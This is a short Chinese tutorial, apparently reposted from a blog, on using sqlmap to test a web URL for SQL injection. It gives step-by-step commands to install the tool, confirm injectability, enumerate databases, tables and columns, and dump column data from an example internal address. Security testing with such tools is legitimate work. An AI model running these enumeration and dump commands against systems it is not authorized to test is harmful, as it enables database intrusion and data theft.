利用sqlmap注入测试


安装:
yum install -y git
cd /usr/local && git clone https://github.com/sqlmapproject/sqlmap.git
cd /usr/local/sqlmap

--检查是否可以注入
python sqlmap.py -u "http://10.10.14.199/website/leave/getInfo?type=9&flag=2018" --batch

如果可以注入,结果是类似这个样子

--获取数据库中有哪些库
python sqlmap.py -u "http://10.10.14.199/website/leave/getInfo?type=9&flag=2018" --batch --dbs

--获取当前URL用的是哪个库
python sqlmap.py -u "http://10.10.14.199/website/leave/getInfo?type=9&flag=2018" --batch --current-db

--获取库中有哪些表
python sqlmap.py -u "http://10.10.14.199/website/leave/getInfo?type=9&flag=2018" --batch -D test_db --tables

--获取表中有哪些字段
python sqlmap.py -u "http://10.10.14.199/website/leave/getInfo?type=9&flag=2018" --batch -D test_db -T test_table --columns

--获取表中字段的数据
python sqlmap.py -u "http://10.10.14.199/website/leave/getInfo?type=9&flag=2018" --batch -D test_db -T test_table -C 'id,name' --dump

 注意:在测过一次后,再次测试时需要将上次测试的记录删掉。路径为:/root/.sqlmap/output

参考地址:https://www.cnblogs.com/cc11001100/p/7634049.html


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM